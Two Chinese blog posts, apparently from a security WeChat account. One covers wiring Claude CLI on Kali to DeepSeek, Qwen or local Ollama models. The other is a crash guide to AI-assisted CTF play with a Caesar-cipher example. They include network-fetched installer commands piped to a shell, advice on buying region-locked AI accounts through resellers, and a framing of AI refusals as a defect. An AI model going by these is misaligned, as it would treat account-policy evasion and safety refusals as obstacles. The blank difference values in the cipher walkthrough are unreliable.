CTF on 静静的安全笔记

Claude CLI + Kali = 黑阔糕手

Sat, 07 Mar 2026 18:26:04 +0800

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取相关的工具

https://www.runoob.com/claude-code/claude-code-setup.html

之后用到的Claude命令可以参考以上链接。Claude本身就是很强的工具，把他接在Kali上，让Claude直接调用Kali本身的工具，就能化身一个黑客糕手。

Claude安装

https://code.claude.com/docs/zh-CN/quickstart

安装和使用，修改/etc/proxychains.conf文件（科学上网）

[ProxyList]
# socks5 127.0.0.1 1080 # 本地 SOCKS5（如 Clash/V2Ray）
# socks4 127.0.0.1 9050 # Tor
http 172.168.169.1 7897 # 科学上网的Clash的地址和端口

这里的172.168.169.1就是虚拟机里面物理机的地址。一般在登录kali虚拟机的终端后会显示。

记得clash打开局域网可用的选项，这样你的Clash只用安装在本机，所有的虚拟机都可以科学上网了。之后再在终端中

1proxychains -q curl -fsSL https://claude.ai/install.sh | bash

选择美国或者日本，韩国的，新加坡和香港的有概率挂。安装好后启动

1proxychains -q claude

可以使用Claude审计代码

梭哈CTF题目，pwn题和逆向题再也不是难点，连WP都是AI写了

第一次使用会提示登录Claude，按要求打开网站，申请Key之后复制网页给出的key即可登陆成功。但是如果你没有Claude账户，或者嫌贵和科学上网麻烦的话，也可以接入Deepseek和阿里千问，Claude CLI除了可以使用自家的Claude，也可以接入其他大模型。

接入Deepseek

环境变量中配置

进入项目目录

1cd my-project

安装 Claude Code 后，我们在终端中设置以下环境变量：

1export ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic
2export ANTHROPIC_AUTH_TOKEN=sk-
3export API_TIMEOUT_MS=600000
4export ANTHROPIC_MODEL=deepseek-chat
5export ANTHROPIC_SMALL_FAST_MODEL=deepseek-chat
6export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1
7claude

参数说明：

API_TIMEOUT_MS=600000：设置 10 分钟超时，防止输出过长触发客户端超时
ANTHROPIC_MODEL：指定使用 deepseek-chat 模型
CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1：禁用非必要流量

启动 Claude Code 后，如果不关闭当前的终端，再次指定使用 DeepSeek只需要：

1claude --model deepseek-chat

或在交互模式中切换：

1/model deepseek-chat

输入 /model 可以查看支持的模型：

接入阿里云百炼

1export ANTHROPIC_BASE_URL=https://dashscope.aliyuncs.com/apps/anthropic
2export ANTHROPIC_AUTH_TOKEN=sk-
3export API_TIMEOUT_MS=600000
4export ANTHROPIC_MODEL=qwen3-coder-plus
5export ANTHROPIC_SMALL_FAST_MODEL=qwen3-coder-plus
6export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1
7claude

申请的 API key https://bailian.console.aliyun.com/cn-beijing/?tab=model#/api-key

其他的大模型可以自行翻阅其官网的API文档查看其是否支持Anthropic的调用协议，支持的话也是相似的配置就能使用。

https://platform.claude.com/docs/en/api/messages

接入本地Ollama

deepseek和千问大批量调用的时候，多少还是要产生token费用，还受限于网速。在一些断网环境的CTF比赛中，或者在一些有保密要求的代码审计场景下，就需要使用本地大模型。

Windows物理机都安装了Ollama和Claude CLI

Claude Code可以配置为使用 Ollama 作为后端。

1ollama launch claude

这会提示你选择模型，自动配置 Claude 代码并启动它。不启动的情况下配置：

1ollama launch claude --config

Ollama 跨虚拟机调用（Windows物理机安装Ollama，Kali虚拟机安装Claude）

https://ollama.com/download

Windows物理机上下载Ollama，拉取镜像后，然后在Kali虚拟机中测试

1irm https://ollama.com/install.ps1 | iex
2ollama pull qwen3:0.6b

第一次安装推荐先装一个小模型，下载和测试比较快，之后觉得性能不行的，可以自行根据需要安装更大的模型。

 1curl -s http://172.168.169.1:11434/v1/messages \
 2 -H "Content-Type: application/json" \
 3 -d '{"model":"qwen3:0.6b","max_tokens":1000,"messages":[{"role":"user","content":"你好，你是谁"}]}' \
 4 | python3 -c "
 5import sys,json
 6d=json.load(sys.stdin)
 7for b in d['content']:
 8 if b['type']=='thinking':
 9 print('💭 思考:\n'+b['thinking'])
10 print('─'*40)
11 elif b['type']=='text':
12 print('💬 回答:\n'+b['text'])
13"

https://docs.ollama.com/api/anthropic-compatibility

ollama的文档已经给出了直接调用的方式，写入一行命令里就是

1ANTHROPIC_AUTH_TOKEN=ollama ANTHROPIC_BASE_URL=http://localhost:11434 ANTHROPIC_API_KEY="" claude --model qwen3-coder

这里不用修改APIkey，留空即可，这个字段是Claude调用需要这个参数，但是ollama本地模型不需要key。如果想要写入永久配置的文件就修改.bashrc 添加下面的命令

1export ANTHROPIC_AUTH_TOKEN=ollama
2export ANTHROPIC_BASE_URL=http://localhost:11434
3export ANTHROPIC_API_KEY=""

然后以后每次启动终端就只需要输入

1claude --model qwen3-coder

但是笔记本的性能很大程度上制约了回答的能力，速度慢是大问题，回答一个你好花了2分钟。这是我当时运行时的电脑系统信息和内存信息。因为开了一个虚拟机kali，我在kali里面用Claude CLI，然后Claude再调用物理机上安装的ollama（有点套娃）。

如果不在虚拟机里面用claude而是直接再windows物理机上使用Claude的话内存占用小一些，也许速度会略快（AI误操作删除文件的时候也很快）。不在kali中安装ollama的原因是因为给kali分配空间太小而无法安装ollama。指望这个轻薄办公本上跑的小模型去解决模型使用场景遇到的问题是不现实的，反应太慢了，而且很多功能小模型并不具备。比如下图的qwen3:0.6B就具备图片的功能。

本地跑大模型要什么配置（含渗透测试场景）

https://www.bilibili.com/video/BV11E421u7ku/ https://lmstudio.ai/

参考一些技术博主给的配置，这是只跑AI的场景，没有考虑到跑Kali虚拟机的情况。

https://zhuanlan.zhihu.com/p/1949164887449272936

渗透测试场景专项配置

正对两个常见的渗透场景的配置如下：

🖥️ 场景一：本地 Windows 笔记本 + Kali 虚拟机

定位： 个人安全研究 / CTF / 日常渗透辅助

典型用途： Ollama 本地模型辅助漏洞分析、exploit 代码生成、报告撰写

资源分配策略

宿主机（Windows）
├── 系统保留：4GB内存 + 2核
├── AI推理（Ollama/LM Studio）：8～12GB内存 + GPU显存
└── Kali虚拟机
 ├── 内存：8GB
 ├── CPU：2核4线程
 └── 用途：渗透工具链（nmap/burp/msf等）

硬件需求

组件	最低配置	推荐配置	说明
CPU	六核12线程（i7-11800H）	八核16线程（i9-13900H / Ryzen 9 7940HX）	Kali VM占2核4线程，剩余分配给AI推理
GPU	6GB显存（RTX 3060 笔记本）	12～16GB显存（RTX 4080/4090 笔记本）	INT4量化7B模型可在6GB显存运行
内存	32GB（Kali 8GB + AI 12GB + 系统 12GB）	64GB（Kali 8GB + AI 24GB + 系统 32GB）	32GB是实际最低门槛，16GB无法同时跑VM+AI
存储	512GB NVMe SSD	1TB NVMe SSD（读速3500MB/s+）	模型文件+Kali快照+数据集
网络	千兆以太网	千兆以太网 + WiFi 6	Kali VM配Host-only + NAT双网卡

模型	参数量	显存需求	渗透场景适用性
llama3.2:3b	3B	~2GB	快速问答、简单脚本生成
mistral:7b-instruct-q4	7B INT4	~4GB	漏洞分析、exploit思路
codellama:7b-code	7B	~5GB	Python/C exploit代码生成
deepseek-coder:6.7b	6.7B	~4GB	代码审计、POC编写 ✅推荐
qwen2.5:7b	7B	~5GB	中文报告生成、CTF writeup

☁️ 场景二：云服务器 Kali + Claude + Ollama（+ OpenClaw）

定位： 云端渗透环境 / 团队共享 AI 辅助平台

典型用途： 长时间任务自动化、多人协作、模型不受本地硬件限制

云服务器配置建议

规格档次	vCPU	内存	显存/GPU	存储	月费估算	适用模型
入门档（够用）	8核	32GB	无GPU	200GB SSD	~$60-100	Ollama CPU推理，3B/7B INT4（慢）
推荐档	8核	32GB	T4 16GB	200GB SSD	~$300-500	7B FP16 / 13B INT4，流畅推理
高性能档	16核	64GB	A10G 24GB	500GB SSD	~$800-1200	13B FP16 / 70B INT4
旗舰档	32核	128GB	A100 80GB	1TB SSD	~$2000+	70B FP16，生产级部署

云厂商推荐：AWS（g4dn.xlarge 起步）、Lambda Labs（性价比高）、AutoDL（国内，价格低）、腾讯云/阿里云 GPU实例

关键结论与选购建议

个人渗透用户

本地笔记本首选： RTX 4080笔记本（16GB显存）+ 64GB内存（Kali VM + AI同跑必须）+ 1TB NVMe
预算有限： RTX 3060（12GB）+ 32GB内存 + INT4量化7B模型（够用）
内存是本地双环境最大瓶颈，不是显存

云端渗透环境

入门推荐： Lambda Labs A10 实例（24GB显存，性价比最高）
国内推荐： AutoDL 3090/4090 实例（按小时计费，成本极低）
Claude API + Ollama 本地模型 + LiteLLM 代理是最灵活的架构

避坑提示

显存不足优先用 GGUF INT4/INT8量化（llama.cpp），可大幅降低需求
笔记本跑Kali VM + AI，内存 < 32GB 基本不可用，优先升内存
云服务器无需买GPU做推理，按小时租用GPU实例（AutoDL、Lambda）更划算
显存容量（GB）> GPU算力（TFLOPS），大模型运行的硬性瓶颈永远是显存

扩展玩法：接入OpenClaw

Claude CLI本身很强了，配合Kali系统中再带的各种网络安全工具更是强上加强，那么还能不能更强呢？有的，兄弟有的！接入OpenClaw变身黑阔糕手龙虾！龙虾届的新品种！

https://openclaw.ai/ https://github.com/xianyu110/awesome-openclaw-tutorial https://www.bilibili.com/video/BV1jEAaz3E6K/ https://cloud.tencent.com/act/pro/lighthouse-moltbot?from=29651

OpenClaw具备相较于Claude的优势在于，其能够支持对聊天软件的接入操作，并且还可以在云端进行部署。对于从事日常办公业务的人员来说，此优势或许颇为必要，例如仅依靠口头交流来收发邮件，搜集信息，整理报告以及开展重复性办公事务这类情况。真正能让很多为生计奔波的打工者也能感受到当领导仅靠言语差遣去干活的乐趣，OpenClaw支持通过语言识别来下发任务，纯粹就是动动嘴，压根都不需要去打字。但是就当下情况而言对于处于渗透场景中的用户目前看来或许难以提供明显助力。

其一，是因为其自身作为一项需要高度集中精力，开展情报分析，进行poc执行以及进行研判的流程。各位擅长电脑操作的高手已经处于电脑前的状态，因此对于存在外出场景且需要靠动口支使人干活的需求相对较低。
第二点而言，OpenClaw和当下的大型模型还不能达到足够智能的程度，进而无法完整取代渗透测试的全部流程工作，要么是人工智能如虾写🦞，要么是出现误操作致使删库这类状况。可以交由OpenClaw来承担的工作例如信息收集，巡航扫描这类简单的任务，或许可以，也能一定程度上提高渗透效率。
其三，当前OpenClaw存在许多漏洞，并且有大量Skiil模板会实施投毒行为，致使用户的凭证信息出现暴露情况。原本计划借助OpenClaw对靶机开展相关操作，但是实际情况是自身反而成为了靶机。

所以在此仅提供一个官网与教程帖，若有兴趣便进一步钻研，诸位既可自行去安装尝试，也可前往腾讯大门口排队领取龙虾。

https://mp.weixin.qq.com/s/JQnf6hlQpHTTpXNepnSNVQ

总结

近年来，人工智能迅猛发展，人工智能大模型不断参与排行榜角逐，人工智能所衍生出的产品也多种多样，有龙虾，有羊驼。也许将来某天的桌面就是一堆动物，动物栏：桌面牧场（地球online）了属于是。

网页之中满是各类由人工智能生成的文字以及相关广告与网站内容。根据我自身探究黑灰产的经验来看，黑灰产背景的黑客是率先将人工智能加以运用的群体。从最初出现的借助人工智能进行换脸的明星相关成人视频，到当下利用人工智能自动生成用于刷搜索引擎优化的垃圾站点，以及人工智能所编写的半自动乃至自动的攻击工具与免杀工具。身为网络安全领域的从业者，秉持“师夷长技以制夷”的理念，我认为除钻研漏洞渗透相关的知识外，研习人工智能相关内容也很有必要，如此可让自身知识储备及可运用手段更为丰富多样，进而扩充自身知识库与应对策略的储备。

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

推荐阅读

AICTFer一天速成指南

Sun, 04 Jan 2026 16:06:04 +0800

比赛还有24小时开始，你刚接触CTF不到一个月，队友临时有事退赛，你一个人要顶上。Web、Reverse、Crypto、Pwn、Misc五个方向，你只熟悉一点Web基础。这时候，AI就是你的救命稻草。本指南将告诉你：如何在24小时内，用AI武装自己，从"萌新"变成"能拿分的选手"。

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取OSCP相关工具。

前言：AI时代的CTF新玩法

AICTF的特点与传统CTF的区别

传统CTF：靠个人积累的知识储备、熟练的工具使用、长期的经验沉淀
AI加持的CTF：外置智库大脑，实时获取建议、快速生成工具、降低知识门槛
核心变化：从"我会什么"到"我能问什么" —— 提问能力成为新的核心竞争力

为什么AI能成为CTF的"急救包"

知识壁垒的粉碎机：AI相当于随身携带的CTF百科全书 + 编程助手
“乱拳打死老师傅"不是笑话：
- 新手缺乏系统知识？AI可以弥补知识盲区
- 老手经验丰富？AI提供更多角度的思路
- 合理运用AI工具，初学者也能解决中高难度题目
现实倒逼你必须学会用AI：
- 目前大多数全国性CTF比赛（各类"XX杯"初赛）并未明确禁止使用AI
- 部分比赛甚至鼓励使用AI，仅要求在WriteUp中附上对话记录
- 连黑灰产攻击者都在用AI辅助渗透，作为未来白帽的预备军还不会用AI？这就像用长矛对抗电磁炮 —— 时代变了，工具也该升级了

本指南的定位：

24小时赛场生存指南 —— 不求精通，但求能上场打
抛砖引玉的入门手册 —— 给你方向，剩下的路自己走
实战导向的速成教程 —— 理论够用就行，重在能解题
授人以渔的AI应用指南 —— 教你的不是答案，是提问的方法

适用人群：

CTF初学者 —— 刚入坑不久，基础薄弱但想参赛的选手
想快速上手AI工具的选手 —— 听说过AI很强，但不知道怎么用在CTF上
临时抱佛脚的参赛者 —— 比赛在即，需要短时间内提升战斗力
好奇AI+CTF玩法的人 —— 想了解AI如何改变CTF生态
时间有限的在校学生 —— 课业繁重，没时间系统学习，但想体验CTF

本指南不适合：

期待完全依赖AI自动解题的人（配合MCP等工具才能做到，本指南只用于一个紧急指南，不会指导初学者搭建复杂的AI平台）
想要系统深入学习CTF各方向知识的人（这需要更长时间的积累，推荐刷靶场和看手册，本公众号下也有相关文章）
已经熟练使用AI辅助CTF的老手（你们可能比我还会玩）

你能从本指南获得什么：

✅ 30分钟内完成AI平台注册并开始使用
✅ 掌握5大方向（Web/Reverse/Crypto/Pwn/Misc）的AI辅助解题套路
✅ 学会用AI生成批量下载、数据处理等实用脚本
✅ 了解AI的能力边界，知道问什么，怎么问
✅ 获得后续深入学习的方向和资源清单

你无法从本指南获得什么：

❌ 成为CTF大师的完整路线图（24小时做不到）
❌ 各方向知识的系统性讲解（那需要几个月甚至几年）
❌ 保证拿奖的方案（AI很强，但CTF赛题也在进化，还有专业“赛棍”，使用AI只能保证能答出签到题以外的部分题目，让你比赛的几个小时内不至于完全坐牢，让你赛后和带队老师or领导交代的时候面子上好看一点）

一、工欲善其事：AI平台选择与对比

主流AI平台推荐

在CTF场景下，以下六个平台是目前最实用的选择：

国际平台（需科学上网）：

Claude（Anthropic）—— 代码能力天花板，逆向分析神器
ChatGPT Plus（OpenAI）—— 老牌强者，但免费版是"人工智障”
Gemini（Google）—— 性能强劲，但思考过程不透明

Gemini 的思考是“摘要型”思考，用户无法查看完整的AI思考过程

国内平台（国内直连）：

DeepSeek —— 思考能力优秀，但服务器常崩溃
元宝（腾讯）—— 套壳DeepSeek，但服务器更稳定
通义千问（阿里）—— 代码能力强，配合夸克插件效率拉满

各平台特点对比表格

平台	代码能力	需要科学上网	服务稳定性	免费额度	是否推荐会员	CTF特色功能
Claude	⭐⭐⭐⭐⭐	✅ 需要	⭐⭐⭐⭐⭐	少	💰 强烈推荐	可上传文件+内置Linux分析
ChatGPT Plus	⭐⭐⭐⭐	✅ 需要	⭐⭐⭐⭐	免费版很菜	💰 推荐	限制较多，经常拒答
Gemini	⭐⭐⭐⭐⭐	✅ 需要	⭐⭐⭐⭐	中等	💰 有钱可买	不显示思考过程
DeepSeek	⭐⭐⭐⭐	❌ 不需要	⭐⭐⭐	充足	🆓 免费够用	代码能力扎实，多调试几次能跑
元宝	⭐⭐⭐⭐	❌ 不需要	⭐⭐⭐⭐⭐	充足	🆓 免费够用	DeepSeek套壳，但更稳定
通义千问	⭐⭐⭐⭐⭐	❌ 不需要	⭐⭐⭐⭐	充足	🆓 免费够用	夸克插件速通理论题

详细能力分析

代码能力对比

第一梯队（CTF首选）：

Claude：代码能力最强，逻辑清晰，特别擅长复杂算法和逆向分析
Gemini：代码质量高，但不显示完整推理过程，有时像"黑箱"
通义千问：代码能力扎实，中文理解好，适合国内CTF

第二梯队（可用但需调试）：

ChatGPT Plus：还行，但有各种限制，经常以"安全"为由拒绝回答
DeepSeek/元宝：比第一梯队略弱，但多试几次也能跑通

不推荐梯队（免费版ChatGPT）：

GPT-3.5免费版就是个"人工智障"，别浪费时间

网络访问与稳定性

需要科学上网（国际平台）：

Claude、ChatGPT、Gemini 都需要科学上网
稳定性都不错，但国内访问可能有延迟

无需科学上网（国内平台）：

DeepSeek：服务器经常崩，高峰期容易卡死
元宝：套壳DeepSeek但服务器更稳，强烈推荐用它代替DeepSeek
通义千问：阿里云支持，稳定性好

免费额度与会员建议

强烈推荐买会员：

Claude、ChatGPT Plus、Gemini —— 免费版对话次数太少，关键时刻掉链子
有“强大”经济能力的话，三个都买，互为备份。囊肿羞涩的话无脑冲Claude

免费版够用：

DeepSeek、元宝、通义千问 —— 免费额度充足，不用花钱

针对CTF场景的推荐配置

💰 土豪配置（预算充足）

主力：Claude Pro（逆向+代码）
备用：ChatGPT Plus（多角度验证）
辅助：Gemini Pro（快速生成）
国内备胎：元宝/千问（防止科学上网失败）

🎯 实用配置（推荐）

主力：Claude Pro（必买，逆向神器）
免费：元宝 + 通义千问（国内双保险）
备用：Gemini免费版（偶尔用用）

🆓 白嫖配置（学生党）

主力：元宝（DeepSeek套壳，免费且稳定）
辅助：通义千问（配合夸克插件速通理论）
备用：Claude免费版（省着点用，关键时刻上）

CTF场景下的独门绝技

Claude的杀手锏

✅ 可以直接上传二进制文件（exe、elf等）
✅ 内置Linux虚拟环境，可以直接运行程序分析
✅ 逆向题直接拖进去让它分析，效率拉满
✅ 代码逻辑理解最强，适合复杂算法题

通义千问的特殊用法

✅ 配合夸克浏览器AI插件
✅ 可以直接在答题页面调用AI
✅ 理论题秒答，不用来回复制粘贴

ChatGPT的坑

❌ 会限制上传的文件类型（安全审查严格）
❌ 遇到"敏感"内容就拒答（比如shellcode分析）
❌ Plus版虽然强，但"道德感"太重

Gemini的特点

⚠️ 能力很强，但不显示详细思考过程
⚠️ 数学能力很强，适合密码题目

多平台协同使用策略（互补短板）

策略一：主备轮换

1. 先用Claude分析题目（最强大脑）
2. 如果Claude卡壳，换ChatGPT试试
3. 两个都不行，用元宝/千问换个思路，很多时候Claude容易钻牛角尖

策略二：功能分工

- 逆向题 → Claude（上传文件+Linux环境）
- 理论题 → 千问（配合夸克插件）
- 代码题 → Claude/千问（代码能力强）
- Crypto → Claude/Gemini（数学推理好）
- Web题 → 任意（都能胜任）

策略三：交叉验证

遇到关键题目：
1. 同时问Claude和Gemini
2. 对比两个答案的差异
3. 用元宝/千问做第三方验证
4. 人工判断哪个更靠谱

策略四：翻墙失败应急预案

- 主力Claude翻墙挂了？→ 立刻切换元宝
- 元宝的代码跑不通？→ 换通义千问
- 千问也卡？→ 本地ollama模型

不推荐使用的AI平台

以下平台在CTF场景下性价比低或功能不匹配：

平台	不推荐理由
豆包	主打生活助手，代码能力弱
Kimi	侧重长文本处理，不适合代码任务
文心一言	UI界面不友好，代码展示差
智谱清言	功能定位偏学术，CTF场景差
Grok	还在完善中，稳定性不足

小贴士：

注册多个平台账号，防止单点故障
比赛前测试好所有平台能否正常访问
准备好备用科学上网方案（多个节点，可关注公众号获取）
国内平台虽然免翻墙，但Claude的逆向能力真的值得你折腾

二、快速起步：AI平台注册实战

国际平台注册指南（需翻墙）

核心三大平台

平台	注册地址	推荐注册方式
Claude	https://claude.ai/	Gmail邮箱
ChatGPT	https://chatgpt.com/	Gmail邮箱
Gemini	https://gemini.google.com/	Gmail邮箱（Google账号直接登录）

注册前的准备工作

1. 科学上网环境检查

✅ 确保代理稳定（建议美国/日本节点）
✅ 测试能否访问 Google、OpenAI 官网
✅ 准备一个干净的浏览器环境

2. Gmail邮箱准备

如果没有Gmail，先注册一个（注册过程也需要翻墙）
建议专门注册一个用于AI平台的Gmail账号
邮箱名尽量正常（人名和有意义的英文单词），避免随机字符（降低被风控概率）

CPT 和 Claude的Plus会员获取：

⚠️ 重要提示：Claude 和 OpenAI 锁区 + 不支持国内信用卡

推荐方案：某宝购买

搜索关键词：“ChatGPT Plus 代充” 或 “ChatGPT 账号”
重要：一个月一个月买，不要买年付！
原因：代付款有被封号风险，买太久浪费钱
价格参考：130-140元/月（随市场波动）
选择信誉高的店铺（看评价和月销量）

某宝购买注意事项：

✅ 优先选择"独享账号"而非"共享账号"
✅ 问清楚售后政策（封号是否补发）
✅ 不要在账号里存重要对话记录

Gemini 升级Pro（可选）

Gemini支持国内Visa卡支付！
需要一张外币副卡（大部分银行信用卡都有）
点击 “Upgrade to Gemini Advanced”
填写信用卡信息即可开通
价格：约 $19.99/月

Gemini付费优势：

✅ 可以用国内信用卡（比Claude/GPT方便）
✅ 不需要某宝代付（安全性高）
✅ 可以随时取消订阅

国内平台注册指南

三大主力平台

平台	注册地址	注册方式	特点
DeepSeek	https://chat.deepseek.com/	手机号	代码能力强，但服务器常崩
元宝	https://yuanbao.tencent.com/	手机号/微信	DeepSeek套壳，更稳定
通义千问	https://www.qianwen.com/chat	手机号/淘宝	配合夸克插件效率高

国内平台使用建议

✅ 三个都注册，互为备份
✅ DeepSeek崩了立刻切换元宝
✅ 通义千问装上夸克插件（下文详述）
✅ 无需付费，免费额度完全够用

AI整合工具与IDE平台

除了直接使用AI网页版，还有一些更高效的工具：

🔧 专业编程IDE（推荐CTF选手使用）

1. Cursor（需翻墙）

官网：https://cursor.com/cn
简介：基于VSCode的AI编程IDE，内置Claude/GPT
特点：
- 可以直接在代码中调用AI
- 支持全项目上下文分析
- 写Exploit脚本特别方便
缺点：需要翻墙 + 付费才能发挥全部功能
适用场景：写复杂的Pwn/Crypto脚本

2. 豆包Trae

官网：https://www.trae.cn/
简介：字节跳动出品的AI编程IDE
特点：
- 无需科学上网，国内直接用
- 界面类似Cursor
- 免费额度充足
缺点：AI能力不如Cursor（背后是豆包模型，也可以换其他模型）

3. 通义灵码（VSCode插件）

官网：https://lingma.aliyun.com/lingma/download
简介：阿里出品，可以装在VSCode/JetBrains里
特点：
- 直接集成到你熟悉的编辑器
- 代码补全 + AI对话
- 免费且稳定
使用方法：
1. VSCode中搜索"通义灵码"插件
2. 安装后登录阿里账号
3. 在代码中按快捷键调用AI
适用场景：习惯用VSCode的选手

🖥️ 多模型整合客户端

Cherry AI（桌面客户端）

官网：https://www.cherry-ai.com/
简介：一款整合多个AI的桌面客户端
支持平台：Windows / macOS / Linux
核心功能：
- 一个客户端管理所有AI（Claude/GPT/Gemini/国产模型）
- 可以同时对比多个AI的回答
- 支持自定义API Key
适用场景：
- 需要频繁切换不同AI的选手
- 想要对比多个AI答案的场景
- 本地管理对话记录

使用建议：

新手：先用网页版熟悉各AI特点
进阶：装个通义灵码在VSCode里写脚本
高阶：Cursor + Cherry AI 组合拳

通义千问 + 夸克插件配置（速通理论题神器）

为什么要用夸克插件？

传统方式：看题 → 复制 → 切换到AI → 粘贴 → 等答案 → 复制答案 → 切回题目
夸克插件："问AI" → AI自动抓取题目内容 → 秒出答案

配置步骤

Step 1：安装夸克浏览器

官网下载：https://quark.cn/ （电脑版/手机版都有）
或使用夸克浏览器扩展（Chrome/Edge可装）

Step 2：登录账号

在夸克浏览器登录

Step 3：启用AI助手

浏览器右上角会出现AI图标

Step 4：实战使用

1. 打开CTF题目页面
2. 打开AI网页插件
3. 对话框输入“识别题目并答题，只要答案，不要解析”
4. 侧边栏弹出答案
5. 直接点选答案提交

效率对比：

没插件：每题需要30秒切换操作
有插件：每题平均只需5秒
20道理论题能省下8分钟！

常见注册问题排查

国际平台问题

Q1：Claude/ChatGPT 提示"不在服务区域"？

原因：IP被识别为中国
解决：
✅ 切换代理节点（换美国/日本）
✅ 使用无痕模式清除Cookie
✅ 换个浏览器试试

Q2：验证码收不到？

原因：邮箱被拦截或网络问题
解决：
✅ 检查Gmail的垃圾邮件箱
✅ 等待5-10分钟再试
✅ 换个邮箱重新注册

Q3：信用卡支付失败？

原因：国内信用卡被拒
解决：
✅ Claude/GPT → 去某宝买账号
✅ Gemini → 可以用Visa外币卡
✅ 或者使用虚拟信用卡服务

国内平台问题

Q4：手机号收不到验证码？

原因：运营商拦截或短信延迟
解决：
✅ 换个时间段再试（避开高峰期）
✅ 联系客服人工发送
✅ 使用备用登录方式（微信/淘宝）

Q5：DeepSeek一直转圈登不上？

原因：服务器崩了（高峰期常见）
解决：
✅ 直接用元宝代替（套壳版更稳定）
✅ 或者等10-30分钟再试

注册完成后的检查清单

✅ 国际平台（至少1个）
 □ Claude账号能登录
 □ ChatGPT能正常对话（或已购买Plus）
 □ Gemini可以访问

✅ 国内平台（至少2个）
 □ 元宝/DeepSeek能用
 □ 通义千问已注册
 □ 夸克插件已配置

✅ 工具类（可选）
 □ 装了通义灵码/Cursor
 □ Cherry AI客户端下载好

✅ 备用方案
 □ 记录好所有账号密码
 □ 多个节点备用
 □ 某宝店铺收藏夹（万一需要续费）

新手避坑指南

❌ 不要做的事：

❌ 不要在某宝买"永久账号"（没有永久这回事）
❌ 不要把所有鸡蛋放一个篮子（至少准备2个平台）
❌ 不要在代购的账号里存重要信息（随时可能被封）
❌ 不要使用免费的"共享账号"（卡到怀疑人生）

✅ 应该做的事：

✅ 比赛前一天测试所有平台能否正常使用
✅ 准备好备用邮箱和手机号（防止需要重新注册）
✅ 国际+国内平台各准备至少1个
✅ 把账号密码记录在安全的地方
✅ 如果比赛限制外网链接，应该考虑搭建本地ollama

小贴士：

注册账号最好在比赛前3天完成，留出时间解决突发问题
如果有队友，可以分工注册不同平台，资源共享
Claude的逆向能力真的值得你折腾翻墙和付费
国内平台免费够用，不要被"升级会员"的弹窗骗了

三、实操突破：AI辅助解题实战

比赛开局黄金策略

第一步：抢签到题（0-5分钟）

什么是签到题？

签到题 = 送分题 = 团队士气题
通常形式：
- 填写问卷后直接给flag
- 明文flag藏在页面源码里
- 简单到"看一眼就知道答案"的题目

典型flag格式：

flag{CTFwelcomeU}
flag{Welcome_to_XX_CTF_2024}
flag{Hello_World}

⚠️ 重要提醒：

签到题留给团队新手做！
✅ 让新手有参与感，建立信心
✅ 大佬节省时间去攻坚难题
❌ 不要和小弟抢这点蚊子腿

第二步：新手优先攻克方向（5-60分钟）

推荐顺序：Crypto → Web → Misc

为什么这个顺序？

Crypto入门题：通常是编码转换，AI秒解
Web基础题：SQL注入、XSS等有套路，AI能快速生成payload
Misc简单题：图片隐写、文件分析，AI可以提供思路

❌ 新手暂时避开的方向：

Reverse：需要看懂汇编/反编译代码，门槛高
Pwn：需要理解内存布局和漏洞原理，最难

Crypto方向：从零到一的AI辅助指南

为什么Crypto适合新手入门？

✅ 很多题目就是"编码识别+转换"
✅ AI擅长识别编码格式
✅ AI可以秒写解密脚本
✅ 即使不懂原理，AI也能帮你解出来

实战案例1：变异凯撒密码（BUUCTF）

题目链接： https://buuoj.cn/challenges#变异凯撒

Step 1：分析题目

下载附件后，看到一串密文：

afZ_r9VYfScOeO_UL^RWUc

新手疑问：

这是什么加密？
怎么解密？
需要什么工具？

别慌，AI可以全包了！

Step 2：向AI提问（推荐使用Claude或千问）

提问模板（直接复制用）：

我在做CTF的Crypto题，遇到一段密文：
afZ_r9VYfScOeO_UL^RWUc

题目提示是"变异凯撒"，但我不知道具体是什么加密方式。
请帮我：
1. 分析这可能是什么加密
2. 提供解密思路
3. 写一个Python脚本帮我解密

Step 3：AI的回答（Gemini示例）

这是一个非常经典的 CTF Crypto 入门题。所谓的“变异凯撒”，通常是指凯撒密码的偏移量（Key）不是固定的，而是随着字符位置的变化而递增。

我们可以通过已知信息（Flag 的常见格式 flag{...}）来进行“已知明文攻击”推导规律。

1. 分析加密逻辑

通常 CTF 的 Flag 格式为 flag{xxx}。我们将密文的前几位与 flag{ 进行 ASCII 码对比，寻找规律：

第 0 位：
密文：a (ASCII: 97)
明文：f (ASCII: 102)
差值：
第 1 位：
密文：f (ASCII: 102)
明文：l (ASCII: 108)
差值：
第 2 位：
密文：Z (ASCII: 90)
明文：a (ASCII: 97)
差值：
第 3 位：
密文：_ (ASCII: 95)
明文：g (ASCII: 103)
差值：
第 4 位：
密文：r (ASCII: 114)
明文：{ (ASCII: 123)
差值：

结论： 可以看出规律是偏移量从 5 开始，每向后一位，偏移量就加 1。公式为：$明文ASCII = 密文ASCII + 5 + 当前索引(index)$

2. Python 解密脚本

根据上述分析，我为你编写了对应的解密脚本：

 1# 密文
 2ciphertext = "afZ_r9VYfScOeO_UL^RWUc"
 3
 4# 用于存储解密后的结果
 5flag = ""
 6
 7# 遍历密文，enumerate 可以同时获取索引(index)和字符(char)
 8for index, char in enumerate(ciphertext):
 9 # 原始逻辑：ASCII码 + 初始偏移5 + 当前位置索引
10 # ord() 将字符转为ASCII数字
11 # chr() 将数字转回字符
12 original_ascii = ord(char) + 5 + index
13 flag += chr(original_ascii)
14
15print(f"解密结果: {flag}")

3. 运行结果

运行脚本后，你将得到：

flag{Caesar_variation}

千问的回答

Crypto方向的AI提问万能模板

模板1：编码识别类

我在做CTF Crypto题，遇到这样的字符串：
【粘贴密文】

题目提示：【如果有就写，没有就说"无提示"】

请帮我：
1. 判断可能是什么编码/加密方式
2. 给出解码思路
3. 提供Python解密脚本
4. 如果是多层编码，帮我递归解密

